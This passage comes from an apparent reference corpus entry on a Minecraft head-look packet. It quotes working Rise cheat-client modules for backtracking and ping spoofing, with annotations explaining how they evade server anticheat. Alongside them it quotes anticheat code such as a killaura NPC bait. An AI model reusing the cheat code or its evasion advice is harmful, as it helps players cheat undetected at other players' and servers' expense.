4.5)) {\n                active2 = false;\n              //  ChatUtil.display(send);\n                receiving = true;\n                packets.stream()\n                        .filter(this::isSpoof2Packet)\n                        .forEach(PacketUtil::receive);\n                packets.clear();\n                receiving = false;\n            }\n            final Packet<?> packet = event.getPacket();\n            if (packet instanceof S14PacketEntity) {\n                S14PacketEntity s14PacketEntity = ((S14PacketEntity) packet);\n\n                if (s14PacketEntity.entityId == targetEntity.getEntityId()) {\n                    realPosition.xCoord += s14PacketEntity.getPosX() / 32D;\n                    realPosition.yCoord += s14PacketEntity.getPosY() / 32D;\n                    realPosition.zCoord += s14PacketEntity.getPosZ() / 32D;\n                }\n            } else if (packet instanceof S18PacketEntityTeleport) {\n                S18PacketEntityTeleport s18PacketEntityTeleport = ((S18PacketEntityTeleport) packet);\n\n                if (s18PacketEntityTeleport.getEntityId() == targetEntity.getEntityId()) {\n                    realPosition = new Vec3(s18PacketEntityTeleport.getX() / 32D, s18PacketEntityTeleport.getY() / 32D, s18PacketEntityTeleport.getZ() / 32D);\n                }\n            }\n        }\n\n\n    };\n\n    @EventLink(value = Priorities.VERY_HIGH)\n    public final Listener<JumpEvent> onJump = event -> {\n        if (mc.thePlayer.onGround && active) {\n            active = false;\n            //  ChatUtil.display(\"Set Active\");\n            receiving = true;\n            send = false;\n            //  MoveUtil.strafe(MovdeUtil.getbaseMoveSpeed() + Math.random() / 10);\n            //   mc.thePlayer.jump();\n            Vector2d motion = new Vector2d(mc.thePlayer.motionX, mc.thePlayer.motionZ);\n            packets.forEach(PacketUtil::receive);\n            // ChatUtil.display(\"jump\");\n            packets.clear();\n\n            if (!boost.getValue()) {\n                mc.thePlayer.motionX = motion.getX();\n                mc.thePlayer.motionZ = motion.getY();\n            } else {\n                MoveUtil.strafe();\n                mc.thePlayer.motionX *= speed.getValue().doubleValue();\n                mc.thePlayer.motionZ *= speed.getValue().doubleValue();\n\n            }\n\n            receiving = false;\n        }\n    };\n\n    @EventLink(value = Priorities.VERY_HIGH)\n    public final Listener<PreUpdateEvent> onPreUpdate = event -> {\n        if(active2 && !active && spoof2.getValue()){\n            PingSpoofComponent.spoof(50, true, false, false, false, true, false);\n        }\n    };\n\n    @EventLink(value = Priorities.VERY_HIGH)\n    public final Listener<StrafeEvent> onStrafe = event -> {\n\n\n\n        if (mc.thePlayer.onGround && active && !mc.thePlayer.isJumping) {\n            active = false;\n\n            receiving = true;\n            send = false;\n            //   MoveUtil.strafe(MoveUtil.WALK_SPEED);\n            Vector2d motion = new Vector2d(mc.thePlayer.motionX, mc.thePlayer.motionZ);\n            double motiony = mc.thePlayer.motionY;\n         //   PingSpoofComponent.dispatch();\n            packets.forEach(PacketUtil::receive);\n            // ChatUtil.display(\"jump\");\n            packets.clear();\n            mc.thePlayer.jump();\n            //  PingSpoofComponent.dispatch();\n            mc.thePlayer.motionX = motion.getX();\n            mc.thePlayer.motionZ = motion.getY();\n\n            //  active = false;\n            receiving = false;\n            // receiving = true;\n            //   Vector2d motion = new Vector2d(mc.thePlayer.motionX, mc.thePlayer.motionZ);\n            // packets.forEach(PacketUtil::receive);\n            //  ChatUtil.display(\"normal\");\n            // packets.clear();\n            //  mc.thePlayer.motionX = motion.getX();\n            //  mc.thePlayer.motionZ = motion.getY();\n            //   receiving = false;\n        }\n\n    };\n\n\n    @EventLink(value = Priorities.VERY_HIGH)\n    public final Listener<PostStrafeEvent> onPostStrafe = event -> {\n\n        if (mc.thePlayer.offGroundTicks > 12 && active) {\n            active = false;\n\n            receiving = true;\n            //  MoveUtil.strafe(MoveUtil.getbaseMoveSpeed() + Math.random() / 10);\n            //   mc.thePlayer.jump();\n            Vector2d motion = new Vector2d(mc.thePlayer.motionX, mc.thePlayer.motionZ);\n            double motiony = mc.thePlayer.motionY;\n         //   PingSpoofComponent.dispatch();\n            packets.forEach(PacketUtil::receive);\n            // ChatUtil.display(\"jump\");\n            packets.clear();\n            //  PingSpoofComponent.dispatch();\n            mc.thePlayer.motionX = motion.getX();\n            mc.thePlayer.motionZ = motion.getY();\n            //  mc.thePlayer.motionY = motiony;\n            receiving = false;\n        }\n    };\n    @EventLink()\n    public final Listener<Render3DEvent> onRender3D = event -> {\n        if (targetEntity == null || !spoof2.getValue() || (!active2 && !active)) {\n            return;\n        }\n\n\n        GlStateManager.pushMatrix();\n        GlStateManager.pushAttrib();\n        GlStateManager.enableBlend();\n        GlStateManager.disableTexture2D();\n        GlStateManager.disableLighting();\n        GL11.glDepthMask(false);\n\n        double expand = -0.14;\n        RenderUtil.color(Color.red, 45);\n\n        RenderUtil.drawBoundingBox(mc.thePlayer.getEntityBoundingBox()\n                .offset(-mc.thePlayer.posX, -mc.thePlayer.posY, -mc.thePlayer.posZ)\n                .offset(realPosition.xCoord, realPosition.yCoord, realPosition.zCoord)\n                .expand(expand, -.3, expand));\n\n\n        GlStateManager.enableTexture2D();\n        GlStateManager.enableLighting();\n        GlStateManager.disableBlend();\n        GL11.glDepthMask(true);\n        GlStateManager.popAttrib();\n        GlStateManager.popMatrix();\n        GlStateManager.resetColor();\n    };\n\n}\n\n// NOTE (AI): The Watchdog Backtrack path cancels the S14 subclasses plus S19PacketEntityHeadLook and\n// NOTE (AI): S18PacketEntityTeleport for the nearest target and replays them through PacketUtil.receive\n// NOTE (AI): after 100-250 ms or when the distance to the tracked realPosition crosses the 4.5/2.5\n// NOTE (AI): thresholds. Buffering clientbound packets is invisible to the server, which is why the\n// NOTE (AI): module can hold the target's movement state without raising flags.\n",
      "code_source": "Rise 6.2.4, Client-release2/Client/src/main/java/com/alan/clients/module/impl/combat/velocity/WatchdogVelocity.java",
      "vanilla_hook": "PacketReceiveEvent.",
      "anti_cheat_notes": "Clientbound buffering is invisible server-side. The delayed head-look replay is exactly what produces the frozen-head visual when the target's head snaps late.",
      "variations": "Rise 6.1.30 has no WatchdogVelocity hit for S19; the packet reaches 6.1.30 only through the components and NetworkAPI."
     },
     {
      "name": "PingSpoofComponent",
      "found_in": [
       "Rise 6.1.30",
       "Rise 6.2.4"
      ],
      "purpose": "Classify S19PacketEntityHeadLook as player traffic so it is parked with the rest of the entity stream while ping spoofing is active.",
      "how_it_works": "The players tuple lists S19PacketEntityHeadLook next to the S14 subclasses, S18PacketEntityTeleport, S20PacketEntityProperties and S13PacketDestroyEntities. While the component is enabled, every packet whose class matches an enabled tuple is cancelled on send/receive and parked as a TimedPacket, then flushed via PacketUtil.queue on PostMotion when the delay elapses or on world change.",
      "detailed_code": "// ===== FILE: Rise 6.2.4, Client-release2/Client/src/main/java/com/alan/clients/component/impl/player/PingSpoofComponent.java =====\npackage com.alan.clients.component.impl.player;\n\nimport com.alan.clients.component.Component;\nimport com.alan.clients.event.CancellableEvent;\nimport com.alan.clients.event.Listener;\nimport com.alan.clients.event.annotations.EventLink;\nimport com.alan.clients.event.impl.motion.PostMotionEvent;\nimport com.alan.clients.event.impl.other.WorldChangeEvent;\nimport com.alan.clients.event.impl.packet.PacketReceiveEvent;\nimport com.alan.clients.event.impl.packet.PacketSendEvent;\nimport com.alan.clients.util.packet.PacketUtil;\nimport net.minecraft.client.gui.GuiDownloadTerrain;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.client.*;\nimport net.minecraft.network.play.server.*;\nimport net.minecraft.util.Tuple;\nimport rip.vantage.commons.util.time.StopWatch;\n\nimport java.util.Arrays;\nimport java.util.concurrent.ConcurrentLinkedQueue;\n\npublic final class PingSpoofComponent extends Component {\n    public static ConcurrentLinkedQueue<PacketUtil.TimedPacket> packets = new ConcurrentLinkedQueue<>();\n    static StopWatch enabledTimer = new StopWatch();\n    public static boolean enabled;\n    static long amount;\n    static Tuple<Class[], Boolean> regular = new Tuple<>(new Class[]{C0FPacketConfirmTransaction.class, C00PacketKeepAlive.class, S1CPacketEntityMetadata.class}, false);\n    static Tuple<Class[], Boolean> velocity = new Tuple<>(new Class[]{S12PacketEntityVelocity.class, S27PacketExplosion.class}, false);\n    static Tuple<Class[], Boolean> teleports = new Tuple<>(new Class[]{S08PacketPlayerPosLook.class, S39PacketPlayerAbilities.class, S09PacketHeldItemChange.class}, false);\n    static Tuple<Class[], Boolean> players = new Tuple<>(new Class[]{S13PacketDestroyEntities.class, S14PacketEntity.class, S14PacketEntity.S16PacketEntityLook.class, S14PacketEntity.S15PacketEntityRelMove.class, S14PacketEntity.S17PacketEntityLookMove.class, S18PacketEntityTeleport.class, S20PacketEntityProperties.class, S19PacketEntityHeadLook.class}, false);\n    static Tuple<Class[], Boolean> blink = new Tuple<>(new Class[]{C02PacketUseEntity.class, C0DPacketCloseWindow.class, C0EPacketClickWindow.class, C0CPacketInput.class, C0BPacketEntityAction.class, C08PacketPlayerBlockPlacement.class, C07PacketPlayerDigging.class, C09PacketHeldItemChange.class, C13PacketPlayerAbilities.class, C15PacketClientSettings.class, C16PacketClientStatus.class, C17PacketCustomPayload.class, C18PacketSpectate.class, C19PacketResourcePackStatus.class, C03PacketPlayer.class, C03PacketPlayer.C04PacketPlayerPosition.class, C03PacketPlayer.C05PacketPlayerLook.class, C03PacketPlayer.C06PacketPlayerPosLook.class, C0APacketAnimation.class}, false);\n    static Tuple<Class[], Boolean> movement = new Tuple<>(new Class[]{C03PacketPlayer.class, C03PacketPlayer.C04PacketPlayerPosition.class, C03PacketPlayer.C05PacketPlayerLook.class, C03PacketPlayer.C06PacketPlayerPosLook.class}, false);\n\n    public static Tuple<Class[], Boolean>[] types = new Tuple[]{regular, velocity, teleports, players, blink, movement};\n\n    @EventLink\n    public final Listener<PacketSendEvent> send = event -> event.setCancelled(onPacket(event.getPacket(), event).isCancelled());\n\n    @EventLink\n    public final Listener<PacketReceiveEvent> receive = event -> event.setCancelled(onPacket(event.getPacket(), event).isCancelled());\n\n    public CancellableEvent onPacket(Packet<?> packet, CancellableEvent event) {\n        if (!event.isCancelled() && enabled && Arrays.stream(types).anyMatch(tuple -> tuple.getSecond() && Arrays.stream(tuple.getFirst()).anyMatch(regularpacket -> regularpacket == packet.getClass()))) {\n            event.setCancelled();\n            packets.add(new PacketUtil.TimedPacket(packet));\n        }\n\n        return event;\n    }\n\n    public static void dispatch() {\n        if (!packets.isEmpty()) {\n            // Stops the packets from being called twice\n            boolean enabled = PingSpoofComponent.enabled;\n            PingSpoofComponent.enabled = false;\n            packets.forEach(timedPacket -> PacketUtil.queue(timedPacket.getPacket()));\n            PingSpoofComponent.enabled = enabled;\n            packets.clear();\n        }\n    }\n\n    public static void disable() {\n        enabled = false;\n        enabledTimer.setMillis(enabledTimer.millis - 999999999);\n    }\n\n    @EventLink\n    public final Listener<WorldChangeEvent> onWorldChange = event -> dispatch();\n\n    @EventLink\n    public final Listener<PostMotionEvent> onPostMotion = event -> {\n        if (!(enabled = !enabledTimer.finished(100) && !(mc.currentScreen instanceof GuiDownloadTerrain))) {\n            dispatch();\n        } else {\n            // Stops the packets from being called twice\n            enabled = false;\n\n            packets.forEach(packet -> {\n                if (packet.getTime() + amount < System.currentTimeMillis()) {\n                    PacketUtil.queue(packet.getPacket());\n                    packets.remove(packet);\n                }\n            });\n\n            enabled = true;\n        }\n    };\n\n    public static void spoof(int amount, boolean regular, boolean velocity, boolean teleports, boolean players) {\n        spoof(amount, regular, velocity, teleports, players, false);\n    }\n\n    public static void spoof(int amount, boolean regular, boolean velocity, boolean teleports, boolean players, boolean blink, boolean movement) {\n        enabledTimer.reset();\n\n        PingSpoofComponent.regular.setSecond(regular);\n        PingSpoofComponent.velocity.setSecond(velocity);\n        PingSpoofComponent.teleports.setSecond(teleports);\n        PingSpoofComponent.players.setSecond(players);\n        PingSpoofComponent.blink.setSecond(blink);\n        PingSpoofComponent.movement.setSecond(movement);\n        PingSpoofComponent.amount = amount;\n    }\n\n    public static void spoof(int amount, boolean regular, boolean velocity, boolean teleports, boolean players, boolean blink) {\n        spoof(amount, regular, velocity, teleports, players, blink, false);\n    }\n\n    public static void blink() {\n        spoof(9999999, true, false, false, false, true);\n    }\n}\n\n// NOTE (AI): The players tuple is the classification table that decides which clientbound packets are\n// NOTE (AI): parked while ping spoofing. S19PacketEntityHeadLook sits in it next to the S14 subclasses,\n// NOTE (AI): S18PacketEntityTeleport and S20PacketEntityProperties, so a head-look update for any entity\n// NOTE (AI): is delayed with the rest of the entity stream and flushed by PacketUtil.queue on dispatch.\n",
      "code_source": "Rise 6.2.4, Client-release2/Client/src/main/java/com/alan/clients/component/impl/player/PingSpoofComponent.java",
      "vanilla_hook": "PacketSendEvent and PacketReceiveEvent, PostMotionEvent, WorldChangeEvent.",
      "anti_cheat_notes": "Delaying clientbound state is not detectable from the packet stream. The side effect is the same stutter that any ping spoof produces on the entity render.",
      "variations": "Identical tuple in Rise 6.1.30 and 6.2.4; the 6.2.4 corpus path carries the Client-release2 prefix."
     },
     {
      "name": "PacketType (translation component)",
      "found_in": [
       "Rise 6.1.30",
       "Rise 6.2.4"
      ],
      "purpose": "Write the decoded head yaw into the per-entity position cache used by the translation system.",
      "how_it_works": "ENTITY_HEAD_LOOK decodes headYaw as getYaw() * 360 / 256.0F, looks up the entity's cached Position and stores new Position(posX, posY, posZ, headYaw, currentPitch). It returns null when no entry exists, so head-look updates for entities that never spawned through the cache (no S0F/S0C seen) are silently dropped.",
      "detailed_code": "// ===== FILE: Rise 6.2.4, Client-release2/Client/src/main/java/com/alan/clients/component/impl/player/translation/PacketType.java =====\npackage com.alan.clients.component.impl.player.translation;\n\nimport lombok.Getter;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.server.*;\n\nimport java.util.Map;\nimport java.util.function.BiFunction;\n\npublic enum PacketType {\n    SPAWN_MOB(S0FPacketSpawnMob.class, (packet, entityPositions) -> {\n        S0FPacketSpawnMob spawnMobPacket = (S0FPacketSpawnMob) packet;\n        int entityId = spawnMobPacket.getEntityID();\n        double posX = spawnMobPacket.getX() / 32.0;\n        double posY = spawnMobPacket.getY() / 32.0;\n        double posZ = spawnMobPacket.getZ() / 32.0;\n        float yaw = (spawnMobPacket.getYaw() * 360) / 256.0F;\n        float pitch = (spawnMobPacket.getPitch() * 360) / 256.0F;\n\n        Position newPosition = new Position(posX, posY, posZ, yaw, pitch);\n        entityPositions.put(entityId, newPosition);\n        return entityPositions;\n    }),\n\n    ENTITY_TELEPORT(S18PacketEntityTeleport.class, (packet, entityPositions) -> {\n        S18PacketEntityTeleport teleportPacket = (S18PacketEntityTeleport) packet;\n        int entityId = teleportPacket.getEntityId();\n        double posX = teleportPacket.getX() / 32.0;\n        double posY = teleportPacket.getY() / 32.0;\n        double posZ = teleportPacket.getZ() / 32.0;\n        float yaw = (teleportPacket.getYaw() * 360) / 256.0F;\n        float pitch = (teleportPacket.getPitch() * 360) / 256.0F;\n\n        Position newPosition = new Position(posX, posY, posZ, yaw, pitch);\n        entityPositions.put(entityId, newPosition);\n        return entityPositions;\n    }),\n\n    ENTITY_REL_MOVE(S14PacketEntity.S15PacketEntityRelMove.class, (packet, entityPositions) -> {\n        S14PacketEntity.S15PacketEntityRelMove relMovePacket = (S14PacketEntity.S15PacketEntityRelMove) packet;\n        int entityId = relMovePacket.entityId;\n\n        Position currentPosition = entityPositions.get(entityId);\n\n        if (currentPosition != null) {\n            double newPosX = currentPosition.posX + relMovePacket.getPosX() / 32.0;\n            double newPosY = currentPosition.posY + relMovePacket.getPosY() / 32.0;\n            double newPosZ = currentPosition.posZ + relMovePacket.getPosZ() / 32.0;\n            float yaw = currentPosition.yaw;\n            float pitch = currentPosition.pitch;\n\n            Position newPosition = new Position(newPosX, newPosY, newPosZ, yaw, pitch);\n            entityPositions.put(entityId, newPosition);\n            return entityPositions;\n        }\n\n        return null;\n    }),\n\n    ENTITY_LOOK_MOVE(S14PacketEntity.S17PacketEntityLookMove.class, (packet, entityPositions) -> {\n        S14PacketEntity.S17PacketEntityLookMove lookMovePacket = (S14PacketEntity.S17PacketEntityLookMove) packet;\n        int entityId = lookMovePacket.getEntityId();\n        double deltaX = lookMovePacket.getPosX() / 32.0;\n        double deltaY = lookMovePacket.getPosY() / 32.0;\n        double deltaZ = lookMovePacket.getPosZ() / 32.0;\n        float yaw = (lookMovePacket.getYaw() * 360) / 256.0F;\n        float pitch = (lookMovePacket.getPitch() * 360) / 256.0F;\n\n        Position currentPosition = entityPositions.get(entityId);\n\n        if (currentPosition != null) {\n            double newPosX = currentPosition.posX + deltaX;\n            double newPosY = currentPosition.posY + deltaY;\n            double newPosZ = currentPosition.posZ + deltaZ;\n\n            // Ensure yaw and pitch are updated\n            Position newPosition = new Position(newPosX, newPosY, newPosZ, yaw, pitch);\n            entityPositions.put(entityId, newPosition);\n            return entityPositions;\n        }\n\n        return null;\n    }),\n\n    ENTITY_LOOK(S14PacketEntity.S16PacketEntityLook.class, (packet, entityPositions) -> {\n        S14PacketEntity.S16PacketEntityLook lookPacket = (S14PacketEntity.S16PacketEntityLook) packet;\n        int entityId = lookPacket.getEntityId();\n        float yaw = (lookPacket.getYaw() * 360) / 256.0F;\n        float pitch = (lookPacket.getPitch() * 360) / 256.0F;\n\n        Position currentPosition = entityPositions.get(entityId);\n\n        if (currentPosition != null) {\n            Position newPosition = new Position(currentPosition.posX, currentPosition.posY, currentPosition.posZ, yaw, pitch);\n            entityPositions.put(entityId, newPosition);\n            return entityPositions;\n        }\n\n        return null;\n    }),\n\n    DESTROY_ENTITY(S13PacketDestroyEntities.class, (packet, entityPositions) -> {\n        S13PacketDestroyEntities destroyEntitiesPacket = (S13PacketDestroyEntities) packet;\n        int[] entityIds = destroyEntitiesPacket.getEntityIDs();\n\n        for (int entityId : entityIds) {\n            entityPositions.remove(entityId);\n        }\n\n        return entityPositions;\n    }),\n\n    ENTITY_HEAD_LOOK(S19PacketEntityHeadLook.class, (packet, entityPositions) -> {\n        S19PacketEntityHeadLook headLookPacket = (S19PacketEntityHeadLook) packet;\n        int entityId = headLookPacket.getEntityId();\n        float headYaw = (headLookPacket.getYaw() * 360) / 256.0F;\n\n        Position currentPosition = entityPositions.get(entityId);\n\n        if (currentPosition != null) {\n            Position newPosition = new Position(currentPosition.posX, currentPosition.posY, currentPosition.posZ, headYaw, currentPosition.pitch);\n            entityPositions.put(entityId, newPosition);\n            return entityPositions;\n        }\n\n        return null;\n    });\n\n    @Getter\n    private final Class<? extends Packet<?>> packetClass;\n    private final BiFunction<Packet<?>, Map<Integer, Position>, Map<Integer, Position>> handler;\n\n    PacketType(Class<? extends Packet<?>> packetClass, BiFunction<Packet<?>, Map<Integer, Position>, Map<Integer, Position>> handler) {\n        this.packetClass = packetClass;\n        this.handler = handler;\n    }\n\n    public Map<Integer, Position> handle(Packet<?> packet, Map<Integer, Position> positions) {\n        return handler.apply(packet, positions);\n    }\n}\n\n// NOTE (AI): The translation component maintains a per-entity Position cache that mirrors server state\n// NOTE (AI): independently of the vanilla renderer interpolation. ENTITY_REL_MOVE accumulates deltas,\n// NOTE (AI): ENTITY_LOOK_MOVE and ENTITY_LOOK update yaw/pitch only when an entry already exists, and\n// NOTE (AI): ENTITY_TELEPORT replaces the entry with absolute coordinates. The look-only handlers return\n// NOTE (AI): null when the entity was never spawned into the cache (S0F/S0C never seen).\n",
      "code_source": "Rise 6.2.4, Client-release2/Client/src/main/java/com/alan/clients/component/impl/player/translation/PacketType.java",
      "vanilla_hook": "Invoked from the translation component's packet receive path.",
      "anti_cheat_notes": "No server interaction. The yaw-slot overwrite is a fidelity bug relative to vanilla (head yaw and body yaw are separate there), and downstream consumers inherit it until the next look packet.",
      "variations": "Identical in Rise 6.1.30 and 6.2.4."
     }
    ],
    "general_hooks": "PacketReceiveEvent in Rise 6.x; no other client in the corpus registers any hook for S19PacketEntityHeadLook.",
    "client_variations": "The packet appears in Memeware, Nekoware, Sigma, Spicy and Tenacity only via the vanilla NetHandlerPlayClient handler; the entire non-vanilla surface is Rise 6.x components and the script API NetworkAPI whitelist.",
    "related": [
     "S14PacketEntity",
     "S18PacketEntityTeleport",
     "S0CPacketSpawnPlayer"
    ],
    "anticheat": {
     "overview": "No server anticheat consumes the head-look packet: it carries only the head yaw byte, which plays no role in movement or combat verification. The corpus shows exactly two kinds of references: Artemis's packet-abstraction layer wraps the packet for its pipeline, and the NPC test rigs (PeyangSuperbAntiCheat, MinecraftAntiCheat) emit head rotations for fake players used to bait killaura. The packet is cosmetic clientbound state with no flag surface.",
     "checks": [
      {
       "name": "GPacketPlayServerEntityHeadRotation (packet wrapper)",
       "found_in": [
        "artemisac-artemis-minecraft-anticheat"
       ],
       "purpose": "Register the head-rotation packet in Artemis's packet abstraction layer so the pipeline can classify it; the read buffer is empty.",
       "how_it_works": "The class is annotated with @PacketLink(PacketPlayServerEntityHeadRotation.class) and extends GPacket, binding the wrapper to the packet name; read() does nothing because no Artemis stage consumes the fields.",
       "detects": "Nothing; structural registration only.",
       "detailed_code": "// ===== FILE: artemisac-artemis-minecraft-anticheat, ac.artemis.packet.spigot/src/main/java/cc/ghast/packet/wrapper/packet/play/server/GPacketPlayServerEntityHeadRotation.java =====\npackage cc.ghast.packet.wrapper.packet.play.server;\n\nimport ac.artemis.packet.protocol.ProtocolVersion;\nimport ac.artemis.packet.spigot.protocol.PacketLink;\nimport ac.artemis.packet.wrapper.server.PacketPlayServerEntityHeadRotation;\nimport cc.ghast.packet.buffer.ProtocolByteBuf;\nimport ac.artemis.packet.spigot.wrappers.GPacket;\nimport cc.ghast.packet.wrapper.packet.ReadableBuffer;\n\nimport java.util.UUID;\n\n@PacketLink(PacketPlayServerEntityHeadRotation.class)\npublic class GPacketPlayServerEntityHeadRotation extends GPacket implements PacketPlayServerEntityHeadRotation, ReadableBuffer {\n    public GPacketPlayServerEntityHeadRotation(UUID player, ProtocolVersion version) {\n        super(\"PacketPlayOutEntityHeadRotation\", player, version);\n    }\n\n    @Override\n    public void read(ProtocolByteBuf byteBuf) {\n\n    }\n}\n// NOTE (AI): The empty read() is the honest tell: Artemis registers the packet for pipeline completeness, not for any check.",
       "code_source": "artemisac-artemis-minecraft-anticheat, ac.artemis.packet.spigot/src/main/java/cc/ghast/packet/wrapper/packet/play/server/GPacketPlayServerEntityHeadRotation.java",
       "variations": "The same pattern appears for every play-state server packet in Artemis (entity, entity teleport, entity status, entity metadata)."
      },
      {
       "name": "NPC head rotation (killaura test rig)",
       "found_in": [
        "P2P-Develop-PeyangSuperbAntiCheat",
        "network-dev-MinecraftAntiCheat"
       ],
       "purpose": "Emit head-rotation packets for fake players so NPC bait looks alive while testing whether a player's aim tracks them.",
       "how_it_works": "PeyangSuperbAntiCheat's NPCTeleport drives a fake EntityPlayer in a circle around the suspect (aura bot mode) or a panic radius (aura panic mode), sending PacketPlayOutEntityTeleport every tick plus PacketPlayOutEntityHeadRotation with the head yaw derived from the player's own head rotation. MinecraftAntiCheat's NPC utility sends the head-rotation packet through rotateHead alongside a look packet for any staff-created fake player.",
       "detects": "Nothing by itself; the head rotation is part of the NPC bait that killaura checks observe from the attack side.",
       "detailed_code": "// ===== FILE: P2P-Develop-PeyangSuperbAntiCheat, src/main/java/ml/peya/plugins/Detect/NPCTeleport.java =====\npackage ml.peya.plugins.Detect;\n\nimport develop.p2p.lib.*;\nimport ml.peya.plugins.Enum.*;\nimport ml.peya.plugins.*;\nimport net.minecraft.server.v1_12_R1.*;\nimport org.bukkit.*;\nimport org.bukkit.command.*;\nimport org.bukkit.craftbukkit.v1_12_R1.entity.*;\nimport org.bukkit.entity.*;\nimport org.bukkit.metadata.*;\nimport org.bukkit.scheduler.*;\nimport org.bukkit.util.Vector;\n\nimport java.util.*;\n\npublic class NPCTeleport\n{\n    public static void teleport(Player player, EntityPlayer target, ItemStack[] arm, DetectType tpCase)\n    {\n        if (tpCase == DetectType.AURA_BOT)\n            auraBot_teleport(player, target, arm);\n        else if (tpCase == DetectType.AURA_PANIC)\n            auraPanic_teleport(player, target, arm, tpCase.getPanicCount(), tpCase.getSender());\n    }\n\n    private static void auraPanic_teleport(Player player, EntityPlayer target, ItemStack[] arm, int count, CommandSender sender)\n    {\n        final double range = PeyangSuperbAntiCheat.config.getDouble(\"npc.panicRange\");\n        final double[] clt = {0.0};\n        final int[] now = {0};\n\n        PlayerConnection connection = ((CraftPlayer) player).getHandle().playerConnection;\n\n        int sec = PeyangSuperbAntiCheat.config.getInt(\"npc.seconds\");\n        double delay = (1.5 / count) * sec;\n\n\n        new BukkitRunnable()\n        {\n            @Override\n            public void run()\n            {\n                now[0]++;\n\n\n                PacketPlayOutAnimation animation = new PacketPlayOutAnimation(((CraftPlayer) player).getHandle(), 1);\n                connection.sendPacket(animation);\n\n                HashMap<String, Object> map = new HashMap<>();\n                map.put(\"hit\", now[0]);\n                map.put(\"max\", count);\n\n                sender.sendMessage(MessageEngine.get(\"message.auraCheck.panic.lynx\", map));\n                if (now[0] >= count)\n                    this.cancel();\n            }\n        }.runTaskTimer(PeyangSuperbAntiCheat.getPlugin(), 0, 15 * (long) delay);\n\n        new BukkitRunnable()\n        {\n            public void run()\n            {\n                for (double i = 0; i < Math.PI * 2; i++)\n                {\n\n                    Location center = player.getLocation();\n\n                    if (center.getPitch() <= 0.0f || center.getPitch() > 15.0f)\n                        center.setPitch(0.0f);\n\n                    Vector vec = center.getDirection().multiply(0 - range);\n\n                    Location n = center.add(vec);\n\n                    n.setY(center.getY() + range);\n\n                    n.setPitch(50);\n\n                    float head = ((CraftPlayer) player).getHandle().getHeadRotation() * 0.5f;\n\n                    if (head < 0)\n                        head = head * 2;\n\n                    NPC.setLocation(n, target);\n                    connection.sendPacket(new PacketPlayOutEntityTeleport(target));\n                    connection.sendPacket(new PacketPlayOutEntityHeadRotation(target, (byte) head));\n\n\n                    NPC.setArmor(player, target, arm);\n                    float finalHead = head;\n                    new BukkitRunnable()\n                    {\n                        @Override\n                        public void run()\n                        {\n                            for (Player p : Bukkit.getOnlinePlayers())\n                            {\n                                if (!p.hasPermission(\"psac.viewnpc\"))\n                                    continue;\n                                PlayerConnection c = ((CraftPlayer) p).getHandle().playerConnection;\n                                c.sendPacket(new PacketPlayOutEntityTeleport(target));\n                                connection.sendPacket(new PacketPlayOutEntityHeadRotation(target, (byte) finalHead));\n\n                                NPC.setArmor(p, target, arm);\n                            }\n                            this.cancel();\n                        }\n                    }.runTask(PeyangSuperbAntiCheat.getPlugin());\n                }\n\n                clt[0] += 0.035;\n                if (clt[0] >= sec)\n                    this.cancel();\n            }\n        }.runTaskTimer(PeyangSuperbAntiCheat.getPlugin(), 0, 1);\n\n    }\n\n    private static void auraBot_teleport(Player player, EntityPlayer target, ItemStack[] arm)\n    {\n        final double yaw = 360.0;\n        final double[] time = {0.0};\n        final double radius = PeyangSuperbAntiCheat.config.getDouble(\"npc.range\");\n\n        WaveCreator creator = new WaveCreator(1.0, 2.0, 0.0);\n        WaveCreator ypp = new WaveCreator(10.0, 100.0, 10.0);\n\n        final boolean waveFlag = PeyangSuperbAntiCheat.config.getBoolean(\"npc.wave\");\n\n        WaveCreator wave = new WaveCreator(radius - 0.1, radius, PeyangSuperbAntiCheat.config.getDouble(\"npc.waveMin\"));\n        WaveCreator speedWave = new WaveCreator(0.0, PeyangSuperbAntiCheat.config.getDouble(\"npc.speed.waveRange\"), 0 - PeyangSuperbAntiCheat.config.getDouble(\"npc.speed.waveRange\"));\n        PlayerConnection connection = ((CraftPlayer) player).getHandle().playerConnection;\n        final boolean speedWaveFlag = PeyangSuperbAntiCheat.config.getBoolean(\"npc.speed.wave\");\n\n        final int[] count = {0};\n        BukkitRunnable r = new BukkitRunnable()\n        {\n            public void run()\n            {\n\n                double speed = 0.0;\n\n                if (player.hasMetadata(\"speed\"))\n                {\n                    for (MetadataValue value : player.getMetadata(\"speed\"))\n                    {\n                        if (value.getOwningPlugin().getName().equals(PeyangSuperbAntiCheat.getPlugin().getName()))\n                            speed = value.asDouble() * 2.0;\n                    }\n                }\n                for (double i = 0; i < Math.PI * 2; i++)\n                {\n\n                    double rangeTmp = radius;\n\n                    if (waveFlag)\n                        rangeTmp = wave.get(0.01, true);\n\n                    Location center = player.getLocation();\n                    Location n = new Location(\n                            center.getWorld(),\n                            auraBot_xPos(time[0], rangeTmp + speed) + center.getX(),\n                            center.getY() + creator.get(0.01, count[0] < 20),\n                            auraBot_zPos(time[0], rangeTmp + speed, yaw) + center.getZ(),\n                            (float) ypp.getStatic(),\n                            (float) ypp.get(4.5, false)\n                    );\n\n                    NPC.setLocation(n, target);\n                    connection.sendPacket(new PacketPlayOutEntityTeleport(target));\n\n                    NPC.setArmor(player, target, arm);\n                    new BukkitRunnable()\n                    {\n                        @Override\n                        public void run()\n                        {\n                            for (Player p : Bukkit.getOnlinePlayers())\n                            {\n                                if (!p.hasPermission(\"psac.viewnpc\"))\n                                    continue;\n                                PlayerConnection c = ((CraftPlayer) p).getHandle().playerConnection;\n                                c.sendPacket(new PacketPlayOutEntityTeleport(target));\n                                NPC.setArmor(p, target, arm);\n                            }\n                            this.cancel();\n                        }\n                    }.runTask(PeyangSuperbAntiCheat.getPlugin());\n                    count[0]++;\n                }\n                time[0] += PeyangSuperbAntiCheat.config.getDouble(\"npc.time\") + (speedWaveFlag ? speedWave.get(0.001, true) : 0.0);\n            }\n        };\n        r.runTaskTimer(PeyangSuperbAntiCheat.getPlugin(), 0, 1);\n\n        new BukkitRunnable()\n        {\n            @Override\n            public void run()\n            {\n                r.cancel();\n                this.cancel();\n            }\n        }.runTaskLater(PeyangSuperbAntiCheat.getPlugin(), 20 * (PeyangSuperbAntiCheat.config.getLong(\"npc.seconds\")));\n\n    }\n\n    private static double auraBot_zPos(double time, double radius, double yaw)\n    {\n        return Math.sin(time) * radius * Math.cos(Math.PI / 180 * yaw);\n    }\n\n    private static double auraBot_xPos(double time, double radius)\n    {\n        return Math.cos(time) * radius;\n    }\n\n}\n// NOTE (AI): 